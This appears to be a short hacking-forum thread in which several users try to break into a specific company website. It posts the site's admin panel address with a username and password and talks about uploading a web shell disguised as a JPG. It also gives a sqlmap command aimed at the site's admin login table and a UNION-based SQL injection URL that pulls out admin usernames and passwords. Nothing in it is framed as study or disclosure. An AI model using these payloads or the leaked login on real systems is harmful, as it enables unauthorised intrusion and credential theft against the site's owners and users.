Upload shell Using Jpg

[Joy]

http://www.ultrasafe.co.in/ultrasafe-manage/
Username:: ultrasafe
Password::: ultra#456_(87
./logout😊

[1337]

Try to upload shell

[Joy]

I cant so im tell u to upload😕

[Exploit-Baba]

The problem is the shell is not executing. 403 Forbidden error. btw someone has changed the password…

Payload:
sqlmap.py -u https://www.ultrasafe.co.in/product-display.php?id=127 -D ultrasaf_ultradb -T adminlogin -C username,password --data

[Exploit-Baba]

@Khan @frog @Sameull may help you.

[Sameull]

https://www.ultrasafe.co.in/product-display.php?id=-127'+UNION+ALL+SELECT+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from adminlogin-- -

[Joy]

oh